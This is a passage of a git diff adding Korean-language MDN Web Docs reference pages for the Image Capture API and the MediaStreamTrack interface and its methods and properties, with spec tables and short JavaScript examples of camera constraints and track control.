navigator.mediaDevices.getUserMedia({ video: true })
+  .then(mediaStream => {
+    // Do something with the stream.
+  })
+
+ +

그 후, {{domxref("MediaStream.getVideoTracks()")}}를 호출해 미디어 스트림에서 시각적인 부분을 분리합니다. getVideoTracks()의 반환 값은 {{domxref("MediaStreamTrack")}} 객체의 배열로, 여기서는 사용해야 할 객체를 배열의 첫 번째 요소라고 가정합니다. 실제 사용 시에는 MediaStreamTrack 객체의 속성을 사용해 원하는 객체를 찾을 수 있습니다.

+ +
const track = mediaStream.getVideoTracks()[0];
+ +

이미지를 캡처하기 전에 우선 장치의 기능을 설정하고 싶을 것입니다. 다른 작업을 수행하기 전에, 트랙 객체의 {{domxref("MediaStreamTrack.applyConstraints","applyConstraints()")}} 메서드를 사용하면 됩니다.

+ +
let zoom = document.querySelector('#zoom');
+const capabilities = track.getCapabilities();
+// 확대 지원 여부 판별
+if(!capabilities.zoom) {
+  return;
+}
+track.applyConstraints({ advanced : [{ zoom: zoom.value }] });
+
+ +

마지막으로, MediaStreamTrack 객체를 {{domxref("ImageCapture.ImageCapture()", "ImageCapture()")}} 생성자에 제공합니다. MediaStream은 여러 종류의 트랙을 담고 있으며 적절한 트랙을 가져올 때 사용할 수 있는 메서드를 소유하지만, ImageCapture 생성자는 {{domxref("MediaStreamTrack.kind")}}가 "video" 값이 아닌 경우 NotSupportedError {{domxref("DOMException")}}을 던집니다.

+ +
let imageCapture = new ImageCapture(track);
+
+ +

인터페이스

+ +
+
{{domxref("ImageCapture")}}
+
촬영 장치를 참조하는 유효한 {{domxref("MediaStreamTrack")}}을 사용해 이미지를 캡처하기 위한 인터페이스입니다.
+
{{domxref("PhotoCapabilities")}}
+
장착된 촬영 장치에서 사용 가능한 설정 옵션을 제공합니다. {{domxref("ImageCapture.getPhotoCapabilities()")}}를 호출해서 PhotoCapabilities 객체를 가져올 수 있습니다.
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('MediaStream Image')}}{{Spec2('MediaStream Image')}}Initial definition.
+ +

브라우저 호환성

+ +

ImageCapture

+ +
+ + +

{{Compat("api.ImageCapture")}}

+ +

PhotoCapabilities

+ +
+ + +

{{Compat("api.PhotoCapabilities")}}

+
+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/applyconstraints/index.html b/files/ko/web/api/mediastreamtrack/applyconstraints/index.html new file mode 100644 index 0000000000..f2c145bf85 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/applyconstraints/index.html @@ -0,0 +1,91 @@ +--- +title: MediaStreamTrack.applyConstraints() +slug: Web/API/MediaStreamTrack/applyConstraints +tags: + - API + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - Method +translation_of: Web/API/MediaStreamTrack/applyConstraints +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 applyConstraints() 메서드는 트랙에 제약을 적용합니다. 제약을 통해 웹 사이트와 앱은 프레임 레이트, 해상도, 플래시 여부 등, 제약 가능한 속성을 자신이 바라는 이상적인 값과 허용 가능한 범위로 제한할 수 있습니다.

+ +

제약을 통해 미디어를 여러분의 선호 가이드라인에 맞출 수 있습니다. 예를 들면 고해상도 비디오를 선호하되 네트워크 사용량 폭증을 막기 위해 다소 낮은 프레임 레이트를 요구할 수 있습니다. 또한 이상적인 크기나, 허용 가능한 크기의 범위를 지정할 수도 있습니다. 기능, 제약, 설정 문서의 제약 적용 항목에서 원하는 제약을 적용하는 방법에 대해 더 알아보세요.

+ +

구문

+ +
const appliedPromise = track.applyConstraints([constraints])
+ +

매개변수

+ +
+
constraints {{optional_inline}}
+
트랙에 적용할 제약 속성을 나열하는 {{domxref("MediaTrackConstraints")}} 객체. 기존에 존재하는 제약은 모두 새로운 값으로 대체하고, constraints 매개변수에 포함하지 않은 제약의 경우 기본값으로 돌아갑니다. 매개변수를 생략한 경우, 모든 사용자 지정 제약을 기본값으로 초기화합니다. constraints 객체는 {{jsxref("Promise")}}가 이행하기 전에 반드시 적용해야 하는 기본 제약 설정을 나타냅니다. 추가로, 반드시 동일한 조건이어야 함을 나타내는 고급 제약도 MediaTrackConstrants 객체 배열로 포함할 수 있습니다.
+
+ +

반환 값

+ +

제약을 성공적으로 적용한 경우 이행하는 {{jsxref("Promise")}}. 제약 적용에 실패한 경우, 이름이 OverconstrainedError인 {{domxref("MediaStreamError")}}로 거부합니다. 제약이 너무 엄격해서 일치하는 조건을 찾지 못한 경우 발생할 수 있습니다.

+ +

예제

+ +

다음 코드는 기본과 고급 제약을 지정하는 법을 보입니다. 우선 페이지와 앱이 640에서 1280의 너비, 480에서 720의 높이가 필요하다고 지정합니다. 이때 뒤쪽의 큰 수를 선호하는 값으로 나타냅니다. 고급 제약은 더 나아가 1920*1280의 이미지를 선호하며, 이 크기를 제공할 수 없는 경우 가로세로비 1.333을 요구합니다. 이렇게 여러 개의 제약을 두는 것을 명세는 "백오프 전략"이라고 말합니다.

+ +
const constraints = {
+  width: {min: 640, ideal: 1280},
+  height: {min: 480, ideal: 720},
+  advanced: [
+    {width: 1920, height: 1280},
+    {aspectRatio: 1.333}
+  ]
+};
+
+navigator.mediaDevices.getUserMedia({ video: true })
+.then(mediaStream => {
+  const track = mediaStream.getVideoTracks()[0];
+  track.applyConstraints(constraints)
+  .then(() => {
+    // Do something with the track such as using the Image Capture API.
+  })
+  .catch(e => {
+    // The constraints could not be satisfied by the available devices.
+  });
+});
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediatrackconstraints', 'applyConstraints()')}}{{Spec2('Media Capture')}}Initial definition.
{{SpecName('MediaStream Image', '#mediatrackconstraintset-section','applyConstraints()')}}{{Spec2('MediaStream Image')}}Adds image constraints.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.applyConstraints")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/clone/index.html b/files/ko/web/api/mediastreamtrack/clone/index.html new file mode 100644 index 0000000000..71e6794948 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/clone/index.html @@ -0,0 +1,46 @@ +--- +title: MediaStreamTrack.clone() +slug: Web/API/MediaStreamTrack/clone +tags: + - API + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - Method + - Reference +translation_of: Web/API/MediaStreamTrack/clone +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 clone() 메서드는 MediaStreamTrack 객체의 사본을 반환합니다. 사본은 새로운 {{domxref("MediaStreamTrack.id", "id")}}를 제외하면 모든 값이 원본과 동일합니다.

+ +

구문

+ +
const newTrack = track.clone()
+ +

반환 값

+ +

clone()을 호출한 {{domxref("MediaStreamTrack")}}에서 {{domxref("MediaStreamTrack.id", "id")}}를 제외하면 똑같은 새로운 MediaStreamTrack.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastreamtrack-clone', 'clone()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.clone")}}

diff --git a/files/ko/web/api/mediastreamtrack/enabled/index.html b/files/ko/web/api/mediastreamtrack/enabled/index.html new file mode 100644 index 0000000000..6fbe680416 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/enabled/index.html @@ -0,0 +1,83 @@ +--- +title: MediaStreamTrack.enabled +slug: Web/API/MediaStreamTrack/enabled +tags: + - Media + - Media Capture and Streams + - MediaStreamTrack + - Property + - Reference + - WebRTC +translation_of: Web/API/MediaStreamTrack/enabled +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 enabled 속성은 트랙이 소스 스트림을 렌더링 할 수 있으면 true, 아니면 false를 반환합니다. enabled 속성을 사용해 음소거 기능을 구현할 수 있습니다. 활성화된 경우 트랙의 데이터는 입력에서 목적지로 출력됩니다. 비활성 상태에서는 빈 프레임만 출력합니다.

+ +

오디오 트랙의 경우 비활성화 트랙이 생성하는 빈 프레임은 아무 소리도 없는 것, 즉 모든 샘플의 값이 0인 프레임이며, 비디오의 경우 모든 픽셀이 검은 프레임입니다.

+ +

사실, enabled의 값은 사용자가 트랙의 "음소거" 상태로 취급할 상태를 나타내며, {{domxref("MediaStreamTrack.muted", "muted")}} 속성은 전송 중 프레임 유실 등으로 인해 데이터를 출력할 수 없는 상태를 뜻합니다.

+ +
+

참고: 트랙의 연결이 끊긴 후에도 enabled 값을 바꿀 수는 있지만 아무런 효과도 없습니다.

+
+ +

구문

+ +
const enabledFlag = track.enabled
+track.enabled = [true | false]
+ +

+ +

true는 실제 미디어의 렌더링이 허용됨을 나타냅니다. false로 설정한 경우 빈 프레임만 생성합니다.

+ +

빈 오디오 프레임의 모든 샘플 값은 0입니다. 빈 비디오 프레임의 모든 픽셀은 완전한 검정입니다.

+ +

사용 일람

+ +

{{domxref("MediaStreamTrack")}}이 카메라의 비디오 입력을 나타내는 경우, 트랙의 enabledfalse로 설정해 비활성화하면 카메라의 녹화 표시도 꺼집니다. 예를 들어, iMac과 MacBook의 카메라 옆에 존재하는 초록색 "사용 중" LED도 꺼집니다.

+ +

예제

+ +

다음 코드는 {{event("click")}} 이벤트 처리기를 사용해 일시정지를 구현합니다.

+ +
pauseButton.onclick = function(evt) {
+  const newState = !myAudioTrack.enabled;
+
+  pauseButton.innerHTML = newState ? "&#x25B6;&#xFE0F;" : "&#x23F8;&#xFE0F;";
+  myAudioTrack.enabled = newState;
+}
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-enabled', 'enabled') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.enabled")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/getcapabilities/index.html b/files/ko/web/api/mediastreamtrack/getcapabilities/index.html new file mode 100644 index 0000000000..7d950a96c4 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/getcapabilities/index.html @@ -0,0 +1,48 @@ +--- +title: MediaStreamTrack.getCapabilities() +slug: Web/API/MediaStreamTrack/getCapabilities +tags: + - API + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - Method + - Reference +translation_of: Web/API/MediaStreamTrack/getCapabilities +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 getCapabilities() 메서드는 {{glossary("user agent", "사용자 에이전트")}}가 지원하는 각각의 제약 조건에 적용할 수 있는 값이나 값의 범위를 나타내는 {{domxref('MediaTrackCapabilities')}} 객체를 반환합니다.

+ +

브라우저의 기능 범위를 알아낸 후에는 스크립트에서 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}를 사용해 트랙의 설정을 이상적인 값으로, 또는 적어도 원하는 범위 안으로 설정할 수 있습니다. 기능, 제약, 설정 문서에서 제약 속성 사용법에 대해 자세히 알아보세요.

+ +

구문

+ +
const capabilities = track.getCapabilities()
+ +

반환 값

+ +

사용자 에이전트가 지원하는 제약 속성 각각의 가능한 값 또는 값의 범위를 나타내는 {{domxref('MediaTrackCapabilities')}} 객체.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastreamtrack-getcapabilities', 'getCapabilities()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.getCapabilities")}}

diff --git a/files/ko/web/api/mediastreamtrack/getconstraints/index.html b/files/ko/web/api/mediastreamtrack/getconstraints/index.html new file mode 100644 index 0000000000..b0ad272813 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/getconstraints/index.html @@ -0,0 +1,62 @@ +--- +title: MediaStreamTrack.getConstraints() +slug: Web/API/MediaStreamTrack/getConstraints +tags: + - API + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - Method + - Reference +translation_of: Web/API/MediaStreamTrack/getConstraints +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 getConstraints() 메서드는 현재 트랙에서 마지막으로 호출한 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} 메서드로 설정한 제약을 포함한 객체를 반환합니다. 반환한 제약 값은 웹 사이트나 애플리케이션이 제약 속성에 지정한 특정 값 또는 값의 범위 조건을 나타냅니다.

+ +

제약을 통해 미디어를 여러분의 선호 가이드라인에 맞출 수 있습니다. 예를 들면 고해상도 비디오를 선호하되 네트워크 사용량 폭증을 막기 위해 다소 낮은 프레임 레이트를 요구할 수 있습니다. 또한 이상적인 크기나, 허용 가능한 크기의 범위를 지정할 수도 있습니다. 기능, 제약, 설정 문서의 제약 적용 항목에서 원하는 제약을 적용하는 방법에 대해 더 알아보세요.

+ +

구문

+ +
const constraints = track.getConstraints()
+ +

반환 값

+ +

가장 최근에 웹 사이트 또는 애플리케이션에서 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}} 호출로 지정한 제약 속성을 나타내는 {{domxref("MediaTrackConstraints")}} 객체. 지정할 때 사용한 속성 순서를 동일하게 반환하며, 웹 사이트 또는 애플리케이션에서 지정하지 않은 속성은 포함하지 않습니다.

+ +
+

참고: 반환한 제약 집합이 반드시 미디어의 실제 상태를 나타내는 것은 아닙니다. 사이트 코드에서 지정한 어떤 제약 조건을 만족할 수 없는 상황에서도, 해당 속성을 반환 값에 포함합니다. 따라서 반환 값이 반드시 미디어의 실제 상태를 나타내는 것은 아닙니다. 모든 제약 속성에 현재 활성화된 값이 필요한 경우 {{domxref("MediaStreamTrack.getSettings", "getSettings()")}} 메서드를 사용하세요.

+
+ +

예제

+ +

다음 예제는 트랙의 현재 제약을 가져와서 {{domxref("MediaTrackConstraints.facingMode", "facingMode")}}를 설정한 후, 새로운 제약을 트랙에 적용합니다.

+ +
function switchCameras(track, camera) {
+  const constraints = track.getConstraints();
+  constraints.facingMode = camera;
+  track.applyConstraints(constraints);
+}
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastreamtrack-getconstraints', 'getConstraints()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.getConstraints")}}

diff --git a/files/ko/web/api/mediastreamtrack/getsettings/index.html b/files/ko/web/api/mediastreamtrack/getsettings/index.html new file mode 100644 index 0000000000..32df925e2e --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/getsettings/index.html @@ -0,0 +1,49 @@ +--- +title: MediaStreamTrack.getSettings() +slug: Web/API/MediaStreamTrack/getSettings +tags: + - API + - Media Capture and Streams + - MediaStreamTrack + - Method + - Reference +translation_of: Web/API/MediaStreamTrack/getSettings +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 getSettings() 메서드는 트랙의 각 제약 속성에 지금 적용된 값을 담은 {{domxref("MediaTrackSettings")}} 객체를 반환합니다. 기능, 제약, 설정 문서에서 제약 속성 사용법에 대해 자세히 알아보세요.

+ +

구문

+ +
const settings = track.getSettings()
+ +

반환 값

+ +

트랙의 현재 제약 속성 설정을 설명하는 {{domxref("MediaTrackSettings")}} 객체.

+ +
+

참고: 반환하는 객체는 모든 제약 속성을 포함하며, 사이트 코드에서 수정하지 않은 플랫폼 기본값 역시 들어있습니다. 사이트 코드에서 제일 최근에 적용한 제약 속성만 필요한 경우, {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}} 메서드를 사용하세요.

+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastreamtrack-getsettings', 'getSettings()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.getSettings")}}

diff --git a/files/ko/web/api/mediastreamtrack/id/index.html b/files/ko/web/api/mediastreamtrack/id/index.html new file mode 100644 index 0000000000..ee7a4ebe30 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/id/index.html @@ -0,0 +1,50 @@ +--- +title: MediaStreamTrack.id +slug: Web/API/MediaStreamTrack/id +tags: + - Media Capture and Streams + - MediaStreamTrack + - Property + - Read-only + - Reference + - WebRTC +translation_of: Web/API/MediaStreamTrack/id +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack.id 읽기 전용 속성은 {{glossary("user agent", "사용자 에이전트")}}가 생성하는, 트랙의 전역 고유 식별자(GUID)를 담은 {{domxref("DOMString")}}을 반환합니다.

+ +

구문

+ +
const id = track.id
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-id', 'MediaStreamTrack.id') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.id")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/index.html b/files/ko/web/api/mediastreamtrack/index.html new file mode 100644 index 0000000000..1b5fd8b18a --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/index.html @@ -0,0 +1,135 @@ +--- +title: MediaStreamTrack +slug: Web/API/MediaStreamTrack +tags: + - API + - Interface + - Media + - Media Capture and Streams API + - Media Streams API + - MediaStreamTrack + - Reference + - WebRTC +translation_of: Web/API/MediaStreamTrack +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack 인터페이스는 스트림 내의 단일 미디어 트랙을 나타냅니다. 보통 오디오와 비디오 트랙이지만, 다른 종류도 존재할 수 있습니다.

+ +

속성

+ +

MediaStreamTrack은 다음에 나열된 속성 외에도 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}로 설정하고 {{domxref("MediaStreamTrack.getConstraints", "getConstraints()")}}와 {{domxref("MediaStreamTrack.getSettings", "getSettings()")}}로 접근 가능한 제약 속성을 가집니다. 기능, 제약, 설정 문서를 방문해 제약 속성을 다루는 법을 알아보세요. 올바르게 다루지 않으면 불안정한 코드를 낳을 수 있습니다.

+ +
+
{{domxref("MediaStreamTrack.contentHint")}}
+
트랙 유형에 대한 힌트를 제공하는 문자열입니다. 웹 애플리케이션이 트랙의 처리 방식을 결정할 때 사용할 수 있습니다.
+
{{domxref("MediaStreamTrack.enabled")}}
+
트랙을 활성화, 즉 미디어 출처 스트림의 렌더링을 허용하면 true이고 비활성화, 즉 미디어 소스 스트림 렌더링을 허용하지 않아 검은 화면과 조용함만 확인할 수 있으면 false인 속성입니다. 트랙의 연결이 끊긴 경우에도 값을 바꿀 수는 있으나 아무런 효과도 없습니다. +
참고: 일반적인 "음소거" 기능은 enabledfalse로 바꿔서 구현할 수 있습니다. muted 속성은 기술적인 문제로 인해 미디어가 존재하지 않을 때를 나타냅니다.
+
+
{{domxref("MediaStreamTrack.id")}} {{readonlyInline}}
+
트랙의 고유 식별자(GUID)를 담은 {{domxref("DOMString")}}을 반환합니다. 고유 식별자는 브라우저가 생성합니다.
+
{{domxref("MediaStreamTrack.isolated")}} {{ReadOnlyInline}}
+
트랙이 고립된 경우 true인 속성입니다. 고립 상태란 해당 MediaStreamTrack을 소유한 문서에서 트랙에 접근할 수 없을 때를 의미합니다. {{domxref("MediaStreamTrack.peerIdentity", "peerIdentity")}} 속성이 설정된 경우, 그리고 트랙의 소스가 교차 출처에 위치하는 경우 발생합니다.
+
{{domxref("MediaStreamTrack.kind")}} {{readonlyInline}}
+
오디오 트랙인 경우 "audio", 비디오 트랙인 경우 "video"인 {{domxref("DOMString")}}을 반환합니다. 트랙이 소스에서 분리된 경우 변하지 않습니다.
+
{{domxref("MediaStreamTrack.label")}} {{readonlyInline}}
+
트랙 소스에 대해 사용자 에이전트가 할당한 식별자를 담은 {{domxref("DOMString")}}을 반환합니다. 식별자의 예시는 "internal microphone"입니다. 빈 문자열일 수 있으며, 연결된 소스가 없는 경우 계속 빈 문자열로 남아 있습니다.  트랙이 소스에서 분리되더라도 식별자는 변하지 않습니다.
+
{{domxref("MediaStreamTrack.muted")}} {{readonlyInline}}
+
기술적인 문제로 인해 트랙이 미디어 데이터를 제공할 수 없음을 나타내는 불리언 값을 반환합니다. +
참고: 일반적인 "음소거" 기능은 enabledfalse로 바꿔서 구현할 수 있으며, 음소거 해제는 enabled를 다시 true로 바꾸면 됩니다.
+
+
{{domxref("MediaStreamTrack.readonly")}} {{readonlyInline}}
+
읽기 전용 트랙(비디오 파일 소스, 설정을 바꿀 수 없는 카메라 등)인 경우 true를 반환합니다. 그 외의 경우 false를 반환합니다.
+
{{domxref("MediaStreamTrack.readyState")}} {{readonlyInline}}
+
트랙의 상태를 나타내는 열거형 값을 반환합니다. 가능한 값은 다음과 같습니다. +
    +
  • "live"는 입력이 연결됐으며 실시간 데이터를 제공하고 있음을 나타냅니다. 이때, {{domxref("MediaStreamTrack.enabled", "enabled")}} 특성을 사용해 데이터 출력을 켜거나 끌 수 있습니다.
  • +
  • "ended"는 입력이 더 이상 데이터를 전달하지 않고 있으며, 앞으로도 새로운 데이터를 제공하지 않을 것임을 나타냅니다.
  • +
+
+
+ + + +

메서드

+ +
+
{{domxref("MediaStreamTrack.applyConstraints()")}}
+
애플리케이션이 MediaStreamTrack에 사용 가능한 제약 속성을 원하는 값과 범위로 지정할 수 있는 메서드입니다.
+
{{domxref("MediaStreamTrack.clone()")}}
+
MediaStreamTrack의 복제본을 반환합니다.
+
{{domxref("MediaStreamTrack.getCapabilities()")}}
+
MediaStreamTrack에 사용 가능한 제약 속성을 반환합니다.
+
{{domxref("MediaStreamTrack.getConstraints()")}}
+
MediaStreamTrack에 현재 지정된 제약을 담은 {{domxref('MediaTrackConstraints')}} 객체를 반환합니다. 이전에 {{domxref("MediaStreamTrack.applyConstraints", "applyConstraints()")}}로 설정한 값과 동일합니다.
+
{{domxref("MediaStreamTrack.getSettings()")}}
+
MediaStreamTrack에 현재 지정된 제약 속성 각각의 값을 담은 {{domxref("MediaTrackSettings")}} 객체를 반환합니다.
+
{{domxref("MediaStreamTrack.stop()")}}
+
트랙에 연결된 소스의 재생을 중단하고, 서로 분리합니다. 트랙의 상태는 ended로 변경합니다.
+
+ +

이벤트

+ +

다음 이벤트는 MediaStreamTrack의 {{domxref("EventTarget.addEventListener", "addEventListener()")}}를 사용하거나 oneventname 속성을 사용해 수신할 수 있습니다.

+ +
+
ended
+
트랙의 플레이백이 끝났을 때, 즉 {{domxref("MediaStreamTrack.readyState", "readyState")}}의 값이 ended로 변했을 때 발생합니다.
+ onended 이벤트 처리기 속성으로도 수신할 수 있습니다.
+
mute
+
기술적인 이유(네트워크 문제 등)로 인해 일시적으로 트랙이 데이터를 제공하지 못할 때, 즉 {{domxref("MediaStreamTrack.muted", "muted")}}의 값이 true로 변했을 때 발생합니다.
+ onmute 이벤트 처리기 속성으로도 수신할 수 있습니다.
+
isolationchange
+
문서가 트랙에 대한 접근 권한을 얻거나 잃었을 때, 즉 {{domxref("MediaStreamTrack.isolated", "isolated")}}의 값이 변할 때 발생합니다.
+ onisolationchange 이벤트 처리기 속성으로도 수신할 수 있습니다.
+
unmute
+
데이터를 다시 사용할 수 있어서 muted 상태가 끝날 때 발생합니다.
+ onunmute 이벤트 처리기 속성으로도 수신할 수 있습니다.
+
+ + + +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#mediastreamtrack', 'MediaStreamTrack')}}{{Spec2('Media Capture')}}Initial definition
{{SpecName("WebRTC Identity", "#isolated-track", "Isolated tracks")}}{{Spec2("WebRTC Identity")}}Additional properties for isolated track support
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.MediaStreamTrack")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/kind/index.html b/files/ko/web/api/mediastreamtrack/kind/index.html new file mode 100644 index 0000000000..752ab567bd --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/kind/index.html @@ -0,0 +1,59 @@ +--- +title: MediaStreamTrack.kind +slug: Web/API/MediaStreamTrack/kind +tags: + - Media Capture and Streams + - MediaStreamTrack + - Property + - Read-only + - Reference + - WebRTC +translation_of: Web/API/MediaStreamTrack/kind +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack.kind 읽기 전용 속성은 트랙이 오디오인 경우 "audio", 비디오인 경우 "video"인  {{domxref("DOMString")}}을 반환합니다. 트랙이 소스에서 분리된 경우엔 바뀌지 않습니다.

+ +

구문

+ +
const type = track.kind
+ +

+ +

{{domxref("DOMString")}}. 가능한 값은 다음과 같습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-kind', 'MediaStreamTrack.kind') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.kind")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/label/index.html b/files/ko/web/api/mediastreamtrack/label/index.html new file mode 100644 index 0000000000..0c2d615e2a --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/label/index.html @@ -0,0 +1,54 @@ +--- +title: MediaStreamTrack.label +slug: Web/API/MediaStreamTrack/label +tags: + - Media Capture and Streams + - MediaStreamTrack + - Property + - Read-only + - Reference + - WebRTC +translation_of: Web/API/MediaStreamTrack/label +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack.label 읽기 전용 속성은 {{glossary("user agent", "사용자 에이전트")}}가 트랙 소스를 식별하기 위해 지정한 레이블을 담은 {{domxref("DOMString")}}을 반환합니다. 소스가 연결되지 않은 경우 빈 문자열이며, 연결됐던 트랙이 소스에서 분리되더라도 레이블은 바뀌지 않습니다.

+ +

구문

+ +
const label = track.label
+ +

+ +

사용자 에이전트가 지정한 식별 레이블. "internal microphone" 등의 형태입니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-label', 'MediaStreamTrack.label') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.label")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/mediastreamtrack/muted/index.html b/files/ko/web/api/mediastreamtrack/muted/index.html new file mode 100644 index 0000000000..c212d7b424 --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/muted/index.html @@ -0,0 +1,67 @@ +--- +title: MediaStreamTrack.muted +slug: Web/API/MediaStreamTrack/muted +tags: + - API + - Media + - Media Capture and Streams + - MediaStreamTrack + - Property + - Read-only + - Reference +translation_of: Web/API/MediaStreamTrack/muted +--- +
{{APIRef("Media Capture and Streams")}}
+ +

{{domxref("MediaStreamTrack")}} 인터페이스의 muted 읽기 전용 속성은 트랙이 현재 미디어 출력을 제공할 수 없는 상태인지를 나타내는 {{jsxref("Boolean")}}을 반환합니다.

+ +
+

참고: 사용자가 트랙을 음소거할 수 있는 기능을 구현하려면 {{domxref("MediaStreamTrack.enabled", "enabled")}} 속성을 사용하세요. enabledfalse로 바꿔 트랙을 비활성하면 빈 프레임(모든 샘플이 0인 오디오 프레임, 모든 픽셀이 검은색인 비디오 프레임)만 생성합니다.

+
+ +

구문

+ +
const mutedFlag = track.muted
+ +

+ +

트랙이 중단된 상태면 true, 아니면 false.

+ +
+

참고: 되도록이면 트랙의 중단 상태를 알기 위해 muted를 폴링 하는 것보다는 {{event("mute")}}와 {{event("unmute")}} 이벤트를 수신하세요.

+
+ +

예제

+ +

다음 예제 코드는 {{domxref("MediaStreamTrack")}} 배열에서 중단된 트랙의 수를 셉니다.

+ +
let mutedCount = 0;
+
+trackList.forEach((track) => {
+  if (track.muted) {
+    mutedCount += 1;
+  }
+});
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture', '#dom-mediastreamtrack-muted', 'muted')}}{{Spec2('Media Capture')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.muted")}}

diff --git a/files/ko/web/api/mediastreamtrack/readystate/index.html b/files/ko/web/api/mediastreamtrack/readystate/index.html new file mode 100644 index 0000000000..97a6b5262d --- /dev/null +++ b/files/ko/web/api/mediastreamtrack/readystate/index.html @@ -0,0 +1,60 @@ +--- +title: MediaStreamTrack.readyState +slug: Web/API/MediaStreamTrack/readyState +tags: + - API + - Media Capture and Streams + - MediaStreamTrack + - Property + - Read-only + - Reference +translation_of: Web/API/MediaStreamTrack/readyState +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaStreamTrack.readyState 읽기 전용 속성은 트랙의 상태를 나타내는 열거형 값을 반환합니다.

+ +

구문

+ +
const state = track.readyState
+ +

+ +

다음의 두 값 중 하나입니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#dom-mediastreamtrack-readystate', 'MediaStreamTrack.readyState') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.MediaStreamTrack.readyState")}}

+ +

같이 보기

